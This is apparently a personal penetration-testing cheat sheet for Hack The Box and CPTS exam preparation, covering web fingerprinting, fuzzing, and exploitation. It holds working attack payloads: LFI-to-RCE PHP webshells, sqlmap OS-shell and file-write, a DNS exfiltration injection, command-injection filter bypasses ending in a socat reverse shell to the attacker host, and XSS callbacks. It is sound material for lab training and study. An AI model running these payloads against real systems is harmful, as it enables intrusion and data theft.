[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 03 of 17 · Focus: Stage 02 — Web Enumeration and Exploitation
Previous: Stage 01 — Recon and Host Discovery · Next: Foothold Toolkit — File Transfers
🌐 STAGE 2 — Web Enumeration & Exploitation
Everything after a live web port. Content discovery first, then vhosts, then the app itself. I fuzz, read the app, then attack the one thing that’s actually vulnerable. Deep tool refs: Ffuf-Cheatsheet · webfuzz · gobuster · Nuclei-Cheatsheet · WPScan · LFI - Cheat Sheet · sqlmap.
[!note] Setup assumptions
$IP= box,$DOMAIN= domain.htb,$LHOST= my tun0. Add every domain/vhost I find to/etc/hosts($IP $DOMAIN admin.$DOMAIN ...) before content discovery, or half the app won’t resolve. SecLists lives at/usr/share/seclists.
The methodology at a glance
[!success] CPTS exam tips
- /etc/hosts discipline — half of all “dead ends” on the exam are unfuzzed vhosts. If the landing page is a static placeholder, vhost-fuzz immediately.
- Fuzz with the right extension —
.phpon PHP,.aspxon IIS. The exam hides the foothold page behind the correct extension more often than behind an obscure name.- Enumerate before exploiting — five minutes in Burp reading every form/endpoint beats an hour of sqlmap
--level=5.- Default creds first, always — Tomcat/Jenkins/Grafana/PRTG boxes are one login away from RCE; check the table before reaching for rockyou.
- Chase the low-priv shell to privesc fast — web footholds land as
www-data/IIS APPPOOL; pivot straight to 12 - Stage 09 - Privilege Escalation checks.- Document as you go — every finding needs a reproducible request (save Burp requests, keep ffuf/nuclei output) so the report writes itself later.
🔎 Fingerprinting & tech identification (before any fuzzing)
What to look for → server header, framework, CMS, WAF. The tech stack dictates the wordlist (.php vs .aspx vs .jsp), the default-cred table, and which CVEs apply — five minutes of fingerprinting saves an hour of wrong-extension fuzzing. Tools: whatweb (single targets), httpx (bulk probing + tech detect). MITRE T1595.002 (Active Scanning: Vulnerability Scanning adjacent) / TA0043 Recon.
# whatweb — fast banner/plugin fingerprint, aggression levels 1(passive)->3(aggressive)
whatweb http://$IP # default, one request-ish
whatweb -a 3 http://$IP # aggressive: heavier probing, version guesses
whatweb --log-json=whatweb.json http://$IP
# httpx — probe many hosts at once, grab title/tech/status (pipe in the port-sweep output)
httpx -l hosts.txt -title -tech-detect -status-code -follow-redirects -o httpx.out
echo http://$IP | httpx -tech-detect -server -title
# headers + TLS by hand when the tools disagree
curl -sI http://$IP | grep -iE 'server|x-powered-by|x-aspnet|set-cookie'
# X-Powered-By: PHP/8.1 / ASP.NET / Express — free stack intel
# cookie names leak the framework: PHPSESSID=PHP, JSESSIONID=Java/Tomcat,
# .AspNetCore.Session=ASP.NET Core, connect.sid=Express, laravel_session=Laravel
# robots.txt / sitemap.xml / security.txt are free, non-intrusive content discovery
curl -s http://$IP/robots.txt
[!tip] Browser-side fingerprinting The Wappalyzer browser extension fingerprints as you browse Burp-scoped pages — zero extra traffic beyond what the browser already sends. For scripted checks,
whatweb/httpx -tech-detectcover the same ground.
[!tools] Screenshot triage at scale Once
httpx/vhost fuzzing yields a URL list, screenshot everything in one pass and eyeball the contact sheet for login panels, default installs, and error pages. gowitness is staged locally:gowitness_linux_amd64 (SHA-256 · GPG signature)
./gowitness scan file -f urls.txt --screenshot-path ./shots ./gowitness report server # browse the gallery on 127.0.0.1:7171
[!warning] OPSEC — fingerprinting is logged
whatweb -a 3andhttpx -tech-detectfire dozens of probes with recognisable UAs/paths; on a monitored engagement pass-H "User-Agent: ..."and rate-limit (httpx -rl 25). Cookie names,Server:headers, androbots.txtare single-request recon — harvest them from Burp history for free before firing tools.
Tech ID → attack mapping
Fingerprint in hand, jump straight to the relevant section/tool instead of generic fuzzing:
| Fingerprint | Immediate move | Deep-dive tool | Section |
|---|---|---|---|
WordPress (wp-content, wp-login.php) | wpscan -e vp,vt,u + ?author=1 enum | wpscan | WordPress (wpscan) |
Joomla (/administrator/, joomla.xml) | read joomla.xml version | droopescan scan joomla | Joomla → Template Customise shell / dir-traversal |
Drupal (CHANGELOG.txt, /node/1) | droopescan → Drupalgeddon version check | droopescan scan drupal | Drupal → PHP Filter / backdoored module / Drupalgeddon |
| Any CMS, unknown | generic multi-CMS scan | CMSmap | — |
Apache Tomcat (/manager, :8009 AJP) | default creds → WAR deploy | msf tomcat_mgr_login | Tomcat → /manager WAR deploy (msfvenom war) |
Jenkins (:8080, /script) | anon-read? → Groovy console | — | Jenkins → Groovy Script Console RCE |
GitLab (/explore) | self-register → repo secrets; version on /help | — | GitLab → self-register → repo secrets / ExifTool RCE |
IIS (Microsoft-IIS, ASPX) | short-name enum, .aspx wordlists, web.config hunt | iis_shortname_scanner | IIS short-name (~) tilde enumeration |
PHP stack (PHPSESSID, .php) | LFI/upload/SQLi focus, php:// wrappers | sqlmap, ffuf | LFI → RCE |
Node/Express (connect.sid, X-Powered-By: Express) | NoSQLi, prototype pollution, SSTI (Pug/EJS) | — | NoSQL injection (MongoDB/Express APIs), SSTI — server-side template injection |
Java (JSESSIONID, Whitelabel Error) | SSTI (Thymeleaf/FreeMarker), deserialization, Spring Actuator /env /heapdump | ysoserial | 🧬 Insecure deserialization |
GraphQL (/graphql, /graphiql) | introspection query | kiterunner | 🔌 API attacks — GraphQL, kiterunner, WebSockets |
| Grafana | default admin:admin, CVE-2021-43798 path traversal (/public/plugins/) | — | AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA |
WAF detected (403 on ', Server: cloudflare/awselb…) | slow down, encode, see WAF section | — | 🛡️ WAF evasion & 403 bypass |
Content discovery (dirs / files / extensions)
What to look for → hidden dirs, admin panels, backups (.bak .old .zip .sql), source leaks, upload dirs. Establish the soft-404 size first so filters actually work.
Enumerate
# ffuf directories
ffuf -u http://$IP/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,204,301,302,307,401,403 -c
# extensions on words (tune to the stack: php,asp,jsp,txt,bak,old)
ffuf -u http://$IP/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-e .php,.txt,.bak,.old -mc 200 -c
# recursion — only AFTER filters are trusted, cap the depth
ffuf -u http://$IP/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \
-recursion -recursion-depth 2 -mc 200,301,302 -c
# autocalibrate + save an HTML report for the writeup
ffuf -u http://$IP/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-ac -c -o ffuf_dirs.html -of html
# webfuzz wrapper — auto-learns -fs, prints the raw ffuf line. --dry-run to just see it
webfuzz recurse -u http://$IP/ # dirs recursively, auto -e .php -v
webfuzz ext -u http://$IP/blog/index # which extension does /blog use?
webfuzz page -u http://$IP/blog/ --ext php
# feroxbuster — recursive by default, the tool gobuster note points to for native recursion
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -d 2
# gobuster dir (no native recursion — chain scans manually)
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-x php,html,txt -t 40 -o initial_scan.txt
# dirsearch — batteries-included default list + extension handling, great reports
dirsearch -u http://$IP -e php,html,txt,bak -x 403,404 --random-agent -o dirsearch.txt
Fuzzer shoot-out — pick the tool per job, not by habit:
| Tool | Native recursion | Filtering | Standout | Watch for |
|---|---|---|---|---|
| ffuf | -recursion (capped) | -mc/-fc/-fs/-ms/-mr/-fr, -ac autocalibrate | FUZZ keyword anywhere (Host header, body, JSON, cookie); -mode clusterbomb | recursion floods without depth cap |
| feroxbuster | on by default | --filter-status/--filter-size, auto wildcard detection | Rust speed, --collect-extensions, pause/resume (interactive scan) | noisiest of the four; tune -d depth + -L links |
| gobuster | none (chain manually) | -b status blacklist, --exclude-length | dns/vhost/fuzz/s3 modes in one binary | no recursion = missed deep trees |
| dirsearch | -r | -x excl status, --filter-sizes | ships its own curated wordlist; clean reporting (-o) | default list smaller than raft-medium |
Wordlist guide (SecLists at /usr/share/seclists):
| Job | List |
|---|---|
| Quick dir pass | Discovery/Web-Content/common.txt (~4.7k) |
| Standard dir pass | Discovery/Web-Content/raft-medium-directories.txt |
| Files / page names | Discovery/Web-Content/raft-medium-files.txt, raft-medium-words.txt |
| Big fallback | Discovery/Web-Content/directory-list-2.3-medium.txt |
| Vhosts/subdomains | Discovery/DNS/subdomains-top1million-5000.txt (→20000) |
| Param names | Discovery/Web-Content/burp-parameter-names.txt |
| LFI payloads | Fuzzing/LFI/LFI-Jhaddix.txt |
| Misc | fuzzdb attack patterns (often merged into SecLists Fuzzing/) |
[!tip] Match wordlist × extension × stack Fingerprint first (Tech ID → attack mapping): PHP stack →
-e .php, IIS →.aspx,.asp,.ashx,.config, Tomcat →.jsp,.war, generic → add.txt,.bak,.old,.zip,.sql. A raft-medium pass with the right extension beats directory-list-2.3-big with the wrong one.
[!warning] Watch out
- Everything is a hit = soft-404. Hit a nonsense path first, read its size, then
-fs <size>(or-ac, or letwebfuzzlearn it). Filtering skill beats wordlist size.- Nothing is a hit = over-filtered / wrong
-mc. Fall back to-mc allthen filter down.- Recursion with bad filters floods the box — depth-cap it and trust filters first.
- gobuster
--verboseis gone in v3.7+ (it’s--debugnow); use--exclude-lengthfor wildcard boxes.
VHost & subdomain fuzzing
What to look for → extra sites on the same IP (admin., dev., internal.). Wrong vhosts return the default site (a real 200), so response size is the only discriminator — always filter it.
Enumerate
# ffuf Host-header fuzz — point -u at the IP, fuzz the Host
ffuf -u http://$IP/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.$DOMAIN" -ac -c
# manual size filter once I know the default page size
ffuf -u http://$IP/ -w namelist.txt -H "Host: FUZZ.$DOMAIN" -fs 15157
# webfuzz vhost — auto-calibrates -fs for me
webfuzz vhost -u http://$IP/ -d $DOMAIN
# gobuster vhost — needs --append-domain to build FQDN Host headers
gobuster vhost -u http://$IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--domain $DOMAIN --append-domain --exclude-length <baseline_len>
# public subdomains via real DNS (bug-bounty / resolvable targets)
gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i
[!tip] Vhost before assuming one site Always vhost-fuzz an IP before deep content discovery — the interesting app is often on
admin.$DOMAIN, not the landing page. Add every hit to/etc/hosts, then re-run dir fuzzing against the vhost.
Parameter & value fuzzing
What to look for → hidden GET/POST params, a working id/user value, login user enumeration. Baseline-filter the “invalid” response.
Enumerate
# GET parameter NAMES
ffuf -u "http://$IP/index.php?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fs 4242 -c
# GET parameter VALUE (regex-filter the "not found" text)
ffuf -u "http://$IP/index.php?id=FUZZ" -w ids.txt -mc 200 -fr 'not found' -c
# POST login — fuzz username, filter the 401
ffuf -u http://$IP/login.php -X POST -d 'username=FUZZ&password=Password1' -w users.txt -fc 401 -c
# webfuzz — name/value, numeric range built on the fly
webfuzz getparam -u http://$IP/admin/admin.php
webfuzz value -u http://$IP/admin/admin.php -p id --range 1-1000
# gobuster fuzz
gobuster fuzz -u "http://$IP/page?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b 404 --exclude-length 0
Parameter mining — let archives and JS hand you the params (cheaper than fuzzing blind):
# arjun — smart GET/POST param discovery (learns the baseline, then diffs)
arjun -u "http://$IP/page.php" --stable # GET
arjun -u "http://$IP/api/login" -m POST --stable # POST
# ParamSpider — pulls params from Wayback archives for a domain
python3 paramspider.py -d $DOMAIN
# gau / waybackurls — every URL the Wayback Machine / CommonCrawl ever saw
echo $DOMAIN | gau --threads 5 | tee gau.txt
echo $DOMAIN | waybackurls | grep -E '\?.*=' | sort -u > params.txt
# archive URLs reveal hidden endpoints, deleted admin panels, and file paths;
# filter by extension for quick wins:
cat gau.txt | grep -iE '\.(php|aspx|jsp|json|xml|bak|sql|env|git)'
# xnLinkFinder concept — crawl the app's JS bundles and extract endpoints/params
# (python3 xnLinkFinder.py -i target.js -o endpoints.txt)
# ship-JS is ground truth: undocumented routes, API keys, hidden params
[!tip] Archive-then-fuzz order Run
gau/waybackurlsbefore fuzzing a target — dead endpoints from 2019 still resolve on legacy boxes, and they cost zero requests against the live host (fully passive, great OPSEC). Feed surviving paths intohttpxto check which are still alive.
Web scanners (nikto / nuclei)
nikto = classic Perl web-server scanner (misconfigs, default files, outdated software); nuclei = template-driven CVE/exposure engine. Different jobs — nikto for server hygiene, nuclei for known-vuln matching.
Enumerate
# Nikto — everything except DoS, spoof UA (default UA is instantly WAF-flagged), JSON out
nikto -h http://$IP -Tuning x6 -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nikto.json -Format json
nikto -h http://$IP -Tuning 49 # XSS(4) + SQLi(9) only, low noise
# Nuclei — polite single-target (don't hammer a fragile box)
nuclei -u http://$IP -rl 20 -c 10 -bs 10 -timeout 15 -retries 2 -o box_scan.txt
nuclei -u http://$IP -as # auto-scan: fingerprint tech -> map templates
nuclei -u http://$IP -tags cve -s critical,high # high-signal quick pass
nuclei -u http://$IP -tags wordpress,wp-plugin # tech-specific
[!warning] Watch out
- Both tools are loud — assume everything is logged. Nikto has no real stealth; narrow with
-Tuning.- On isolated lab nets add nuclei
-nior OAST templates hang and drag the whole scan (publicoast.pro/oast.livecallbacks are also externally observable — the single most important OPSEC flag).nuclei -utbefore every engagement; default-rl 150will knock a flaky HTB service over.
WordPress (wpscan)
What to look for → /wp-login.php, wp-content/, generator meta, ?author=1 redirects. Feed wpscan an API token or you get zero vuln data.
Enumerate
export WPSCAN_API_TOKEN=<token> # 25 free requests/day
wpscan --url http://$DOMAIN -e vp,vt,u --api-token $WPSCAN_API_TOKEN # vuln plugins/themes + users
wpscan --url http://$DOMAIN -e ap --plugins-detection aggressive # ALL plugins, noisy
wpscan --url http://$DOMAIN --stealthy --throttle 2000 # low-and-slow
Exploit / Attack
# password attack — -U known/enumerated user, -P wordlist, force xmlrpc for speed
wpscan --url http://$DOMAIN -U "$U" -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
# no -U -> wpscan enumerates u1-10 first, then attacks
wpscan --url http://$DOMAIN -P /usr/share/wordlists/rockyou.txt
[!warning] Watch out
- Passive detection (the default) often can’t read a version — bump to
--plugins-detection aggressivewhen you need it, accepting the 404 noise.xmlrpc-multicall(500 pw/request) only exists on WP < 4.4; on modern WP fall back to--password-attack wp-login. Security plugins block xmlrpc entirely → wp-login.- Config backups (
-e cb) and DB exports (-e dbe) are the crown jewels — wp-config.php.bak = DB creds.
LFI → RCE
What to look for → ?page=, ?file=, ?language=, ?include= — anything that loads a file. include()/require() execute; file_get_contents() only reads.
Enumerate / confirm
curl "http://$IP/index.php?language=/etc/passwd"
curl "http://$IP/index.php?language=../../../../etc/passwd"
# find the parameter, then fuzz LFI payloads (set -fs to the normal page size)
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u "http://$IP/index.php?FUZZ=value" -fs 2287
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u "http://$IP/index.php?language=FUZZ" -fs 2287
Read source with the base64 filter (find creds/URLs)
# manual
curl "http://$IP/index.php?language=php://filter/read=convert.base64-encode/resource=config" | base64 -d
# webfuzz lfi — wraps php://filter, matches PD9waH (=<?ph), curls+base64-decodes every hit, greps creds
webfuzz lfi -u "http://$IP/nav.php?page=FUZZ" --resource /var/www/html/
# the raw commands it replaces:
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt:FUZZ \
-u "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/FUZZ" \
-mr "PD9waH" -fs 0
curl -s "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wp-config.php" | base64 -d
Exploit / Attack — LFI → RCE
# data:// wrapper (needs allow_url_include=On)
curl "http://$IP/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id"
# php://input — POST the payload
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$IP/index.php?language=php://input&cmd=id"
# expect:// wrapper
curl -s "http://$IP/index.php?language=expect://id"
# RFI — host the shell myself
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server 8000
curl "http://$IP/index.php?language=http://$LHOST:8000/shell.php&cmd=id"
# log poisoning — poison the access log via User-Agent, then include it
curl -s "http://$IP/index.php" -A '<?php system($_GET["cmd"]); ?>'
curl "http://$IP/index.php?language=/var/log/apache2/access.log&cmd=id"
# PHP session poisoning
curl "http://$IP/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
curl "http://$IP/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id"
[!warning] Watch out
- Null-byte (
%00) and path-truncation extension bypasses are obsolete (PHP < 5.3 only) — don’t waste time.- RFI needs
allow_url_include=On;require()can’t pull a remote URL,include()can.- Upload tricks:
GIF8<?php ...?>in a.gif, orzip://shell.zip%23shell.php&cmd=id/phar://when you can upload but not directly include a.php.
SQL injection (sqlmap)
What to look for → any GET/POST/cookie param, especially numeric id. Capture the real request in Burp → request.txt so headers/auth/POST body are preserved.
Detect
sqlmap -u "http://$IP/page.php?id=1" --batch
sqlmap -r request.txt --batch # best for POST / auth / headers
sqlmap -u "http://$IP/page.php?id=1&name=test" -p id --level=5 --risk=3 --batch # when default finds nothing
Enumerate → dump
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D webapp --tables
sqlmap -r request.txt --batch -D webapp -T users --columns
sqlmap -r request.txt --batch -D webapp -T users -C username,password --dump
sqlmap -r request.txt --batch -a # grab everything (slow)
System access
sqlmap -u "http://$IP/page.php?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "http://$IP/page.php?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
sqlmap -r request.txt --level=3 --risk=3 --os-shell --batch # needs stacked queries (S) + DBA
# WAF in the way → chain tampers
sqlmap -u "http://$IP/page.php?id=1" --tamper=between,randomcase,space2comment --random-agent --delay=2 --batch
High-value flags cheat sheet
| Flag | Why |
|---|---|
-r request.txt | preserve cookies/CSRF/POST body exactly as Burp saw it |
-p id | test only the promising param (speed, less noise) |
--level 1-5 --risk 1-3 | level: cookies(2) UA/Referer(3); risk: OR-payloads(3, destructive) |
--technique=BEUSTQ | Boolean/Error/Union/Stacked/Time — drop T to go fast |
--dbms=mysql | skip fingerprinting, cut payload count hugely |
--os-shell / --os-pwn | needs stacked queries + DBA + writable webroot |
--file-read / --file-write + --file-dest | direct file I/O via LOAD_FILE/INTO OUTFILE |
--proxy http://127.0.0.1:8080 | watch sqlmap’s raw requests in Burp to debug |
--flush-session | changed flags/target shape → forget cached results |
--second-url / --second-req | second-order SQLi: inject in one request, observe in another |
--dns-domain attacker.tld | OOB exfil over DNS when the response is fully blind |
Useful tampers (chain comma-separated; inspect tamper/ dir for the full list):
| Tamper | Transform | Beats |
|---|---|---|
space2comment | space → /**/ | naive space filters |
randomcase | SeLeCt | case-sensitive keyword WAF |
between | = → BETWEEN | =/comparison filters |
equaltolike | = → LIKE | = filters |
apostrophemask | ' → UTF-8 fullwidth | quote filters |
charencode / charunicodeencode | URL/unicode-encode everything | keyword scanners |
base64encode | whole-payload b64 | apps that b64-decode input |
modsecurityversioned | /*!50000SELECT*/ version comments | ModSecurity-style rules |
Second-order SQLi — payload is stored now, executed when another page/query reads it back (classic: register username admin'-- , then the profile/password-change query injects). sqlmap: --second-url http://$IP/profile.php, or replay manually in Burp and diff.
Out-of-band SQLi — zero in-band output? Exfil over DNS (needs xp_dirtree on MSSQL / LOAD_FILE UNC on MySQL-Windows):
'; EXEC xp_dirtree '\\'+(SELECT password FROM users WHERE username='admin')+'.abc123.oast.pro'\\share';-- -
Catch with Burp Collaborator / interactsh — the leaked value arrives as a DNS label. sqlmap automates it with --dns-domain.
[!warning] Watch out
--level=2+ tests cookies,--level=3+ tests User-Agent/Referer — bump level before declaring a param clean.- Time-based blind is glacial.
--technique=BEUdrops it;--technique=U(UNION) is fastest for dumping.--risk=3adds OR-based payloads that can UPDATE/DELETE rows — think before you run it on a live app.- Changed flags but same target?
--flush-sessionor sqlmap reuses the old (possibly wrong) result.
Command injection (filter bypass)
What to look for → params that ping / nslookup / convert / resolve — anything that shells out (system(), shell_exec(), passthru(), backticks). Read the script source the moment you get any exec.
Confirm
curl "http://$IP/ping.php?ip=127.0.0.1;id"
curl "http://$IP/ping.php?ip=127.0.0.1%0aid" # %0a newline is the best first probe
Exploit / Attack — bypass chains
# space blocked -> ${IFS} / tab(%09) / brace expansion
curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}/etc/passwd"
curl "http://$IP/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"
# slash blocked -> pull it from $PATH
curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}${PATH:0:1}etc${PATH:0:1}passwd"
# command name blocked -> quote/char split (bash -c '...' strips the empty quote pairs)
curl "http://$IP/ping.php?ip=127.0.0.1%0a'i'd"
curl "http://$IP/ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat"
curl "http://$IP/ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php" # READ THE SOURCE first
# binary name blocked -> wildcards; case-WAF -> reverse / base64
curl "http://$IP/ping.php?ip=127.0.0.1%0a/???/c?t${IFS}/etc/passwd"
curl "http://$IP/ping.php?ip=127.0.0.1%0abash<<<\$(base64${IFS}-d<<<aWQ=)" # aWQ= = 'id'
# RCE -> reverse shell via socat (survives the filter on the INLANEFREIGHT lab)
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0 # attacker
curl "http://$IP/ping.php?ip=127.0.0.1%0asocat${IFS}TCP4:$LHOST:4444${IFS}EXEC:bash,pty,stderr,setsid,sigint,sane"
[!warning] Watch out
%0a(newline) beats operator blacklists almost every time — developers can’t fully ban it. Try it first.- Filters compose, so bypasses compose: one request often needs operator + space + name-split stacked.
- Every space in the payload must become
${IFS}or%09, or the space blacklist kills the request.${IFS}for spaces and single-quote splitting ('i'd) for names are the two highest-value tricks — learn them cold. Cat the source before brute-forcing a shell.
XSS
What to look for → every input reflected in a response or stored and rendered later. Insert a unique inert marker (xss7q9), find where and how it renders, then pick a context-matched proof.
Enumerate / prove (context-matched, console.log first)
GET /search?q=xss7q9 HTTP/1.1
Host: target.htb
<!-- HTML text context --> <img src=x onerror=console.log('xss7q9')>
<!-- double-quoted attribute --> "><img src=x onerror=console.log('xss7q9')>
<!-- single-quoted attribute --> '><img src=x onerror=console.log('xss7q9')>
<!-- JS string context --> ';console.log('xss7q9');//
<!-- JS template literal --> ${console.log('xss7q9')}
# DOM XSS triage — grep downloaded JS for sources -> sinks
rg -n 'location\.(hash|search|href)|document\.(URL|referrer|cookie)|postMessage|innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|setTimeout\(' ./js
Blind / stored callback
python3 -m http.server 8000 --bind 0.0.0.0 # --bind 0.0.0.0 so the HTB browser (VPN iface) can reach it
<img src=x onerror="new Image().src='http://$LHOST:8000/xss?o='+encodeURIComponent(location.origin)">
Automate discovery/context/blind-OOB with dalfox → Dalfox - HTB and AEN Cheat Sheet; parameter-fuzz for reflected XSS with nuclei -u 'http://$IP/?id=1' -dast.
[!warning] Watch out
- Match the payload to the observed parser — a short context-correct payload beats a giant generic list. Test one metachar at a time and inspect the HTML/JS before adding a handler.
- Live DOM ≠ raw response: browser repair and client JS create or remove exploitability after the response arrives (compare View-Source vs Elements).
document.cookieis empty underHttpOnly— that does not disprove XSS. Execution and impact (cookie theft, OS access) are separate claims; XSS alone gives no OS shell.- HTTP callback against an HTTPS target = mixed-content blocked; use an HTTPS collector.
📸 Bulk web triage — EyeWitness / gowitness
What to look for → after vhost/subdomain fuzzing (or a subnet sweep through a pivot in STAGE 10) you have dozens of HTTP endpoints. Screenshot them all at once instead of opening each by hand — spot the login panels, default installs and dev apps in one contact sheet.
# feed it the hosts/urls you discovered
eyewitness --web -f urls.txt -d ./eyewitness # opens a report.html gallery
gowitness scan file -f urls.txt # single-binary alternative
[!tip] Pairs with STAGE 2 fuzzing and STAGE 10 pivots —
cutthe live vhosts out of your ffuf output straight intourls.txt. Deep dive: EyeWitness-Cheatsheet.
🧰 Web Proxies, Advanced Fuzzing & Login Brute-Forcing
When curl + a raw ffuf sweep runs out of road: proxy the app so I can read and rewrite every request, push fuzzing past dirs/vhosts into extensions, values, headers, bodies, then brute-force the one login I actually found. Proxy listener is 127.0.0.1:8080 (Burp/ZAP) — FoxyProxy toggles the browser onto it, install the CA cert first or HTTPS pages break. Deep dives: 3 - Intercepting Web Requests · 4 - Repeating Requests · 7 - Burp Intruder · 9 - Burp Scanner · 3 - Page & Extension Fuzzing · 4 - Recursive Fuzzing · 7 - Parameter Fuzzing - GET & POST · 5 - Hydra · 6 - Medusa · 7 - Custom Wordlists.
Burp / ZAP — intercept, rewrite, repeat, decode
What to look for → client-side-only validation (type="number", maxlength, disabled/hidden fields), Base64/JSON cookies carrying trust claims (is_admin, role), anything the browser enforces that the back-end might not re-check.
Intercept & manipulate
Burp : Proxy > Intercept (on by default) — edit the held request, Forward
ZAP : traffic-light button / Ctrl+B — Continue/Step
# front-end restricts input to digits; intercept the built request and inject anyway:
ip=1 -> ip=;id;
Response interception — re-enable what the page hid
Burp : Proxy > Options > Intercept Response, then Ctrl+Shift+R to force the response through
ZAP : Step on a held request auto-pauses its response
# edit the rendered HTML so the payload can be typed straight into the page:
<input type="number" ... maxlength="3"> -> <input type="text" ... maxlength="100">
Automate the rewrite (Match & Replace / Replacer) — one-off edits don’t persist; make them a session rule:
| Tool | Type | Match | Replace |
|---|---|---|---|
Burp Proxy > Options > Match and Replace | Request header | ^User-Agent.*$ (regex) | User-Agent: HackTheBox Agent 1.0 |
| Burp | Response body | type="number" (literal) | type="text" |
ZAP Replacer (Ctrl+R) | Request Header | User-Agent | HackTheBox Agent 1.0 |
Repeat instead of re-intercepting — iterate payloads without toggling intercept:
Burp : right-click history request > Send to Repeater (Ctrl+R) > Ctrl+Shift+R to the tab > edit > Send
right-click > Change Request Method (flip GET<->POST without rewriting the request line)
ZAP : right-click history > Open/Resend with Request Editor (HUD: Replay in Console / in Browser)
Decode & tamper an encoded cookie (Burp Decoder / Inspector, ZAP Ctrl+E, or CyberChef):
eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0= --Base64--> {"username":"guest","is_admin":false}
# flip guest->admin / false->true, re-encode Base64, paste back into the Repeater request, Send
[!warning] Watch out
- Burp requires manual URL-encoding of pasted payloads (
Ctrl+U, or right-click → URL-encode as you type) — an unencoded space,&, or#in a hand-edited body silently corrupts the request. ZAP encodes outgoing data automatically → don’t double-encode.- Burp intercepts all Firefox traffic — Forward through the background noise before your target request shows up.
- Burp keeps Original vs Edited request views; ZAP history only shows what was actually sent. Use Burp’s when you need to prove exactly what you changed.
- A
type="number"edit only lasts one response — persist it as a Match & Replace rule or it reverts on refresh.
Burp Intruder / ZAP Fuzzer / Scanner
Intruder positions & attack types (Ctrl+I from history, Ctrl+Shift+I to the tab): wrap the payload spot in §markers§.
GET /§DIRECTORY§/ HTTP/1.1 # Sniper = 1 position, 1 list (dirs, single param, single-user pw guess)
user=§admin§&pass=§pass§ # Cluster bomb = N positions x N lists, every combo (user x password)
# Pitchfork = N positions, lists advance in lockstep (paired creds / stuffing)
Payloads > Simple List > Load wordlist
Payload Processing > Skip if matches regex ^\..*$ # drop dotfile noise before sending
Options > Grep - Match: add "200 OK", untick "Exclude HTTP headers" (status line lives in headers)
ZAP Fuzzer is the unthrottled analogue (right-click > Attack > Fuzz → File Fuzzers ships built-in dirbuster lists → add a URL Encode processor → threads 20). Pick breadth-first for multi-account spraying so one account isn’t hammered with every password (lockout).
Scanner (Burp Pro / ZAP free) — crawl + passive + active
Target > Site map > right-click > Add to scope (then Target > Scope, add regex include/exclude)
Dashboard > New Scan > Crawl and Audit > Select from library > Audit checks: critical issues only
Filter Issue activity by: High severity + Firm/Certain confidence
[!warning] Watch out
- Free Burp Intruder is throttled to ~1 req/s — reserve it for short, targeted lists; a big sweep belongs in
ffuf/feroxbuster(thousands/s). Its real edge is payload-processing rules + Cluster bomb + one-click pivot to Repeater.- Scope discipline before an active scan: explicitly Remove from scope logout links and destructive actions, or the crawler logs your own session out / triggers state changes mid-audit.
- Passive scan only suggests (no new traffic, confidence-rated); active scan confirms by probing — know which is running before you trust a finding. A scanner’s exported report is appendix data, never the deliverable → 9 - Burp Scanner, 10 - ZAP Scanner.
Burp vs ZAP — which when (Burp Suite · OWASP ZAP):
| Need | Burp | ZAP |
|---|---|---|
| Manual testing loop (Repeater) | best-in-class | Request Editor is fine |
| Fast bulk fuzzing | Community Intruder throttled ~1 req/s ❌ | Fuzzer unthrottled ✅ |
| Active scanner | Pro only | free, decent |
| Extensions | BApp store (Turbo Intruder, Logger++, InQL) | add-on marketplace |
| Exam/lab default | use Burp CE + ffuf to cover the throttle | good free fallback for scanning |
[!tip] Real workflow Browser → Burp (intercept, Repeater, Comparer, Decoder) for anything hand-crafted; ffuf/feroxbuster for volume fuzzing; ZAP or nuclei for the broad vuln sweep. All three proxy-able through each other (
ffuf -x,--proxyflags below).
Proxy a CLI tool through Burp/ZAP (debugging, not tunneling)
Different from the STAGE 10 SOCKS pivot — this routes a tool’s HTTP through the proxy on :8080 so I can read/replay its exact raw requests when a scanner “isn’t working”.
# native flags first — faster and more reliable than wrapping
ffuf -x http://127.0.0.1:8080 ...
